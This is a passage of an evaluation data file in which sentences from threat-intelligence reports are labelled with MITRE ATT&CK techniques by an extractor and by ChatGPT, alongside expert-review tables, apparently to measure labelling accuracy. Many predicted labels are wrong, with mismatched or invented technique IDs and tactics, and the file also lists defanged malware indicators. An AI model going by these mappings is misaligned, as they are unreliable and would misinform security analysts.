	'technique': 'Obfuscated Files or Information'}, {'taid': 'T1055', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]		
C2 (opendir) **109.206.240[.]67** **Remcos RAT C2** **xlongactive[.]su** **Password-protected ZIP archive** **fa0b3b0e5b7b5aa9a2da7bebbc15ab0e944d984b**	[{'taid': 'T1566', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'T1071', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'T1027', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or	5	[]

	Information'}, {'taid': 'T1102', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}, {'taid': 'T1562', 'tactic': 'Defense Evasion', 'tid': 'T1562', 'technique': 'Impair Defenses'}]		
eSentire's Threat Response Unit (TRU) is a world-class team of threat researchers who develop new detections enriched by original threat intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid response to advanced threats.	[{'taid': 'T1580', 'tactic': 'Adversary Opsec', 'tid': 'T1580', 'technique': 'Avoid Suspicious Tools'}, {'taid': 'T1582', 'tactic': 'Adversary Opsec', 'tid': 'T1582', 'technique': 'Use Alternate Authentication Material'}, {'taid': 'T1204', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution'}]	3	[]
If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and put your business ahead of disruption.	[{'taid': 'T1583', 'tactic': 'Impersonation', 'tid': 'T1583', 'technique': 'Service Application Layer Protocol'}, {'taid': 'T1574', 'tactic': 'Defend', 'tid': 'T1574', 'technique': 'Threat Intelligence'}, {'taid': 'T1038', 'tactic': 'Credential Access', 'tid': 'T1038', 'technique': 'Authentication Token'}]	3	[]

Test Report 7 Securonix Threat Labs Monthly Intelligence Insights – March 2023-Securonix

URL: https://www.securonix.com/blog/threat-labs-monthly-intelligence-insights-march-2023/

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
YoroTrooper uses a number of tools, including commodity and custom information stealers, remote access trojans, and Python-based malware.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.006', 'technique': 'Python'}]	[['malware', 'YoroTrooper']]	1	[0]
The infection is transmitted via phishing emails containing decoy PDF documents and malicious LNK attachments.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['malware', 'Python-based']]	1	[0]
According to researchers, YoroTrooper exfiltrates large amounts of data from infected devices, including cookies and browsing history.	[{'taid': 'TA0009', 'tactic': 'collection', 'tid': 'T1005', 'technique': 'DatafromLocalSystem'}]	[]	1	[0]
Threat actors used HTA to download decoy documents and dropper implants onto target systems by deploying a custom Python stealer against the governments of Tajikistan and Uzbekistan in 2023.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.006', 'technique': 'python'}]	[]	1	[0]
Currently, malicious RAR and ZIP attachments are being used in phishing emails in connection with national strategy and diplomacy.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]
Securonix Threat Labs is actively monitoring running campaigns by a suspected Chinese hacking group UNC3886 and other threat actors that are targeting government entities and large organizations.	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1057', 'technique': 'ProcessDiscovery'}]	[['actor', 'UNC3886']]	1	[0]
Moreover, its website uses HTTPS to ensure that users are communicating securely with the website's server by encrypting data traffic between their web browsers and the website's server.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1071.001', 'technique': 'WebProtocols'}]	[['malware', 'ChatGPT']]	1	[0]
Securonix Threat Labs is actively monitoring running campaigns by threat actors / hackers that are targeting ChatGPT All.	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1057', 'technique': 'ProcessDiscovery'}]	[]	1	[0]
Enforce SMB sign on for clients and servers to prevent a relay attack.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.002', 'technique': 'CodeSigning'}]	[]	1	[0]

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
YoroTrooper uses a number of tools, including commodity and custom information stealers, remote access trojans, and Python-based malware.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1059.006', 'technique': 'Python'}]	[['malware', 'YoroTrooper']]	1	[0]

The infection is transmitted via phishing emails containing decoy PDF documents and malicious LNK attachments.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['malware', 'Python-based']]	1	[0]
According to researchers, YoroTrooper exfiltrates large amounts of data from infected devices, including cookies and browsing history.	[{'taid': 'TA0009', 'tactic': 'collection', 'tid': 'T1005', 'technique': 'DatafromLocalSystem'}]	[]	1	[0]
Threat actors used HTA to download decoy documents and dropper implants onto target systems by deploying a custom Python stealer against the governments of Tajikistan and Uzbekistan in 2023.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.006', 'technique': 'python'}]	[]	1	[0]
Currently, malicious RAR and ZIP attachments are being used in phishing emails in connection with national strategy and diplomacy.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]
Securonix Threat Labs is actively monitoring running campaigns by a suspected Chinese hacking group UNC3886 and other threat actors that are targeting government entities and large organizations.	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1057', 'technique': 'ProcessDiscovery'}]	[['actor', 'UNC3886']]	1	[]
Moreover, its website uses HTTPS to ensure that users are communicating securely with the website's server by encrypting data traffic between their web browsers and the website's server.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1071.001', 'technique': 'WebProtocols'}]	[['malware', 'ChatGPT']]	1	[0]
Securonix Threat Labs is actively monitoring running campaigns by threat actors / hackers that are targeting ChatGPT All.	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1057', 'technique': 'ProcessDiscovery'}]	[]	1	[]
Enforce SMB sign on for clients and servers to prevent a relay attack.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1553.002', 'technique': 'CodeSigning'}]	[]	1	[]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
The report additionally provides a synopsis of the threats; indicators of compromise (IoCs); tactics, techniques, and procedures (TTPs); and related tags.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1200', 'technique': 'Hardware Additions'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1201', 'technique': 'Password Policy Discovery'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1190', 'technique': 'Exploit Public-Facing Application'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1210', 'technique': 'Exploit Client Software'}]	4	[0, 1, 2, 3]
For additional information on Threat Labs and related search queries used via Autonomous Threat Sweeper to detect the below mentioned threats, refer to our Threat Labs home page.	[{'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0004', 'tactic': 'Persistence', 'tid': 'T1505', 'technique': 'Server Software Component'}]	3	[0, 1, 2]
In March 2023, Threat Labs analyzed and monitored major threat categories, including multiple cyber campaigns involving attacks from	[{'taid': 'TA0043', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Standard Application Layer Protocol'}]	1	[0]

APT groups originating from China, ChatGPT cyber campaign, and vulnerabilities seen from Telerik, Fortinet and Microsoft Office Outlook.			
Of note a suspected Chinese hacking group UNC3886 has been linked to a series of attacks on government organizations exploiting a Fortinet zero-day vulnerability (CVE-2022-41328) to deploy malware.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1190', 'technique': 'Exploit Public-Facing Vulnerability'}]	1	[0]
FortiGate and FortiManager devices were compromised as well due to the connections to VIRTUALPITA from the Fortinet management IP addresses.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1210', 'technique': 'Exploit Client Software'}, {'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1566', 'technique': 'Phishing'}]	2	[0, 1]
In March 2023, Securonix Autonomous Threat Sweeper identified 3,839 TTPs and IOCs, 122 distinct threats, and reported 36 threat detections.	[{'taid': 'TA0006', 'tactic': 'Detection', 'tid': 'T1059', 'technique': 'Command-Line Interface'}, {'taid': 'TA0006', 'tactic': 'Detection', 'tid': 'T1106', 'technique': 'Execution through API'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data From Local System'}, {'taid': 'TA0006', 'tactic': 'Detection', 'tid': 'T1053', 'technique': 'Scheduled Task'}]	5	[0, 1, 2, 3, 4]
The top data sources swept against include IDS/IPS/UTM/Threat Detection, Endpoint Management Systems, Data Loss Prevention, and Email/Email Security.	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}]	2	[0, 1]
Cyberespionage group APT27, also known as Iron Tiger, has created a new Linux version of its SysUpdate custom remote access malware, enabling more enterprise services to be targeted.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1195', 'technique': 'Supply Chain Compromise'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command-Line Interface'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Execution through API'}]	3	[0, 1, 2]
A new cyber-espionage campaign targeting governments and energy agencies in Commonwealth of Independent States (CIS) countries has been carried out by the threat actor named 'YoroTrooper' since June 2022.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Link'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'Credential Dumping'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1030', 'technique': 'Data Transfer Size Limits'}]	3	[0, 1, 2]
Several European embassies, the World Intellectual Property Organization (WIPO), and a key European Union healthcare agency have been compromised by the threat actor.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1074', 'technique': 'Data Staged'}]	2	[0, 1]
YoroTrooper uses a number of tools, including commodity and custom information stealers, remote access trojans, and Python-based malware.	[{'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'Credential Dumping'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1030', 'technique': 'Data Transfer Size Limits'}]	2	[0, 1]
The infection is transmitted via phishing emails containing decoy PDF documents and malicious LNK attachments.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
According to researchers, YoroTrooper exfiltrates large amounts of data from infected devices, including cookies and browsing history.	[{'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1020', 'technique': 'Automated Exfiltration'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1074', 'technique': 'Data Staged'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1002', 'technique': 'Data Compressed'}]	3	[0, 1, 2]

A gambling company in the Philippines was one of the victims of the Iron Tiger campaign, which used a command and control server with a domain similar to the victims.	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1563', 'technique': 'Domain Generation Algorithms'}, {'taid': 'TA0012', 'tactic': 'Lateral Movement', 'tid': 'T1490', 'technique': 'Domino'}]	2	[0, 1]
The YoroTrooper group used corrupt PDF files to target Belarusian entities in the summer of 2022.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
It registered several typosquatting domains mimicking Russian government entities in September 2022.	[{'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1563', 'technique': 'Domain Generation Algorithms'}]	1	[0]
Threat actors used HTA to download decoy documents and dropper implants onto target systems by deploying a custom Python stealer against the governments of Tajikistan and Uzbekistan in 2023.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'Credential Dumping'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1114', 'technique': 'Email Collection'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1184', 'technique': 'Multi-Stage Channels'}, {'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1002', 'technique': 'Data Compressed'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Ingress Tool Transfer'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command-Line Interface'}]	8	[0, 1, 2, 3, 4, 5, 6, 7]
Currently, malicious RAR and ZIP attachments are being used in phishing emails in connection with national strategy and diplomacy.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
an unknown threat actor exploiting a security flaw in Fortinet FortiOS software	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1190', 'technique': 'Exploit Public-Facing Application'}]	1	[0]
This exploit demonstrates an advanced actor specifically targeting governmental or government-related targets.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}]	1	[0]
FortiOS version 7.2.0 through 7.2.3	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1102', 'technique': 'Web Service'}]	2	[0, 1]
FortiOS version 7.0.0 through 7.0.9	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1083', 'technique': 'File and Directory Permissions Modification'}]	2	[0, 1]
FortiOS version 6.4.0 through 6.4.11	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	1	[0]
FortiOS 6.2 all versions	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	1	[0]
FortiOS 6.0 all versions	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	1	[0]
suspected Chinese hacking group UNC3886, has been linked to a series of attacks on government organizations exploiting a Fortinet zero-day vulnerability (CVE-2022-41328) to deploy malware.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	1	[0]

Additionally, the FortiGate devices with Federal Information Processing Standards (FIPS) compliance mode enabled failed to boot after it was later rebooted.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1070', 'technique': 'Indicator Removal on Host'}]	1	[0]
Threat Labs observed threat actors using access via the FortiManager device	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1574', 'technique': 'Privilege Escalation via Exploitation of Named Kernel Vulnerability'}]	3	[0, 1, 2]
Threat Labs observed cyber espionage operators exploiting zero-day vulnerabilities and deploying custom malware to Internet-exposed systems as an initial attack vector.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1064', 'technique': 'Scripting'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1055', 'technique': 'Process Injection'}]	4	[0, 1, 2, 3]
Threat Labs learned that the threat actor uses a local zero-day vulnerability in FortiOS (CVE-2022-41328) and deploys multiple custom malware families on Fortinet and VMware systems	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1045', 'technique': 'Software Packing'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1195', 'technique': 'Supply Chain Compromise'}]	4	[0, 1, 2, 3]
Securonix Threat Labs is actively monitoring running campaigns by a suspected Chinese hacking group UNC3886 and other threat actors that are targeting government entities and large organizations.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1195', 'technique': 'Supply Chain Compromise'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	3	[0, 1, 2]
Threat Labs observed threat actors using access via the FortiManager device	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1574', 'technique': 'Privilege Escalation via Exploitation of Named Kernel Vulnerability'}]	3	[0, 1, 2]
Threat Labs observed cyber espionage operators exploiting zero-day vulnerabilities and deploying custom malware to Internet-exposed systems as an initial attack vector.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1064', 'technique': 'Scripting'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1055', 'technique': 'Process Injection'}]	4	[0, 1, 2, 3]
Threat Labs learned that the threat actor uses a local zero-day vulnerability in FortiOS (CVE-2022-41328) and deploys multiple custom malware families on Fortinet and VMware systems	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1045', 'technique': 'Software Packing'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1195', 'technique': 'Supply Chain Compromise'}]	4	[0, 1, 2, 3]

Bitdefender confirmed that a phishing campaign uses a fake ChatGPT platform to swindle investors.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
In their analysis, researchers at G DATA have identified ChatGPT's real doppelganger, chatgpt-go[.]online.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1565', 'technique': 'Modify Web Session Cookie'}, {'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1557', 'technique': 'Man-in-the-Middle'}]	2	[0, 1]
However, users will see the same webpage on the fake website as they would on ChatGPT's official site. Moreover, its website uses HTTPS to ensure that users are communicating securely with the website's server by encrypting data traffic between their web browsers and the website's server.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1563', 'technique': 'Use Alternate Authentication Material'}, {'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1556', 'technique': 'Modify Registry'}]	2	[0, 1]
Securonix Threat Labs is actively monitoring running campaigns by threat actors / hackers that are targeting ChatGPT API.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1083', 'technique': 'File and Directory Discovery'}, {'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	3	[0, 1, 2]
CISA, FBI, and MS-ISAC issued a joint advisory reporting the attackers accessed the server between November 2022 and early January 2023 based on indicators of compromise (IoCs) on the unnamed federal civilian executive branch (FCEB) agency's network.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1205', 'technique': 'Port Scanning'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1210', 'technique': 'Exploits via SMB'}]	2	[0, 1]
It is believed that at least two threat actors (one of them the Vietnamese XE Group) exploited this bug CVE-2019-18935 (CVSS score: 9.8) to gain remote access to the unpatched server.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}]	1	[0]
Hackers compromised the FCEB agency's server and deployed malicious payloads in C:/Windows/Temp/ to collect data and transmit it to attacker-controlled command and control servers.	[{'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}, {'taid': 'TA0010', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1005', 'technique': 'Data from Local System'}]	3	[0, 1, 2]
Threat Labs observed a threat actor tracked as Praying Mantis (aka TG2021) has also weaponized CVE-2019-18935, along with CVE-2017-11317, to infiltrate U.S. public and private networks.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1189', 'technique': 'Drive-by Compromise'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1192', 'technique': 'Spearphishing Link'}]	3	[0, 1, 2]
Microsoft Office Outlook privilege escalation vulnerability(Originally published in March 2023)	[{'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1548', 'technique': 'Abuse Accessibility Features'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	2	[0, 1]
Microsoft has observed and announced a new high severity vulnerability with the code CVE-2023-23397 in Outlook for Windows that is being exploited to steal NTLM credentials.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1553', 'technique': 'Subvert Trust Controls'}, {'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1003', 'technique': 'Credential Dumping'}]	2	[0, 1]
Researchers from ASEC have analyzed the Microsoft vulnerability in Outlook for Windows as well and confirms it is being exploited to steal NTLM credentials.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Link'}]	1	[0]

CVE-2023-23397 is an elevation of privilege vulnerability in Microsoft Outlook.	[{'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1548', 'technique': 'Abuse Accessibility Features'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution'}]	2	[0, 1]
It is a zero-touch exploit that is a security gap that has low complexity and requires no user interaction.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1202', 'technique': 'Indirect Command Execution'}]	1	[0]
In most cases, the attacker sends a message to the victim with an extended Message Application Program Interface (MAPI) property with a Universal Naming Convention (UNC) path to a remote attacker-controlled Server Message Block (SMB, via TCP 445).	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}]	3	[0, 1, 2]
Securonix Threat Labs recommends leveraging our findings to deploy protective measures for increased threats from this malware.	[{'taid': 'TA0004', 'tactic': 'Collection', 'tid': 'T1530', 'technique': 'Data from Cloud Storage Object'}]	1	[0]
Implement network segmentation and maintain offline backups of data to ensure limited interruption to your organization.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}, {'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1498', 'technique': 'Network Denial of Service'}]	2	[0, 1]
Apply the vendor patches immediately. Microsoft has released a patch as part of their March 2023 Monthly Security Update.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1210', 'technique': 'Exploits via SMB'}]	1	[0]
Block TCP 445/SMB outbound from your network.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1043', 'technique': 'Commonly Used Port'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1205', 'technique': 'Port Scanning'}]	2	[0, 1]
Customers can disable the WebClient service. Note that this will block all WebDAV connections, including intranet.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1562', 'technique': 'Impair Defenses'}]	1	[0]
Add users to the Protected Users Security Group.	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1069', 'technique': 'Permission Groups Discovery'}]	1	[0]
Enforce SMB sign on for clients and servers to prevent a relay attack.	[{'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1214', 'technique': 'Credentials in Files'}, {'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1210', 'technique': 'Exploits via SMB'}]	2	[0, 1]
28 IOCs are available on our Threat Labs home page and have been swept against Autonomous Threat Sweeper customers.	[{'taid': 'TA004', 'tactic': 'Collection', 'tid': 'T1513', 'technique': 'Data from Local System'}]	1	[0]
Tags: Vulnerability: Microsoft vulnerability CVE-2023-23397 in Outlook | Exploitation: steal NTLM credentials |Target areas: Government, transport, energy, and military sectors | Target location: Europe and Latin America.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1210', 'technique': 'Exploits via SMB'}, {'taid': 'TA0008', 'tactic': 'Privilege Escalation', 'tid': 'T1548', 'technique': 'Abuse Accessibility Features'}, {'taid': 'TA0006', 'tactic': 'Credential Access', 'tid': 'T1003', 'technique': 'Credential Dumping'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Link'}]	4	[0, 1, 2, 3]
For a full list of the search queries used on Autonomous Threat Sweeper for the threats detailed above, refer to our Threat Labs home page.	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1560', 'technique': 'Archive Collected Data'}]	1	[0]
The page also references a list of relevant policies used by threat actors.	[{'taid': 'TA0004', 'tactic': 'Collection', 'tid': 'T1539', 'technique': 'Steal Web Session Cookie'}]	1	[0]

Please reach out to us at scia@securonix.com.	[{'taid': 'TA0007', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over Command and Control Channel'}]	1	[0]
Note: The TTPs when used in silo are prone to false positives and noise and should ideally be combined with other indicators mentioned.	[{'taid': 'TA0012', 'tactic': 'Impact', 'tid': 'T1497', 'technique': 'Virtual Private Server'}]	1	[0]

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
The report additionally provides a synopsis of the threats; indicators of compromise (IoCs); tactics, techniques, and procedures (TTPs); and related tags.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1200', 'technique': 'Hardware Additions'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1201', 'technique': 'Password Policy Discovery'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1190', 'technique': 'Exploit Public-Facing Application'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1210', 'technique': 'Exploit Client Software'}]	4	[]
For additional information on Threat Labs and related search queries used via Autonomous Threat Sweeper to detect the below mentioned threats, refer to our Threat Labs home page.	[{'taid': 'TA0009', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0004', 'tactic': 'Persistence', 'tid': 'T1505', 'technique': 'Server Software Component'}]	3	[]
In March 2023, Threat Labs analyzed and monitored major threat categories, including multiple cyber campaigns involving attacks from APT groups originating from China, ChatGPT cyber campaign, and vulnerabilities seen from Telerik, Fortinet and Microsoft Office Outlook.	[{'taid': 'TA0043', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Standard Application Layer Protocol'}]	1	[]
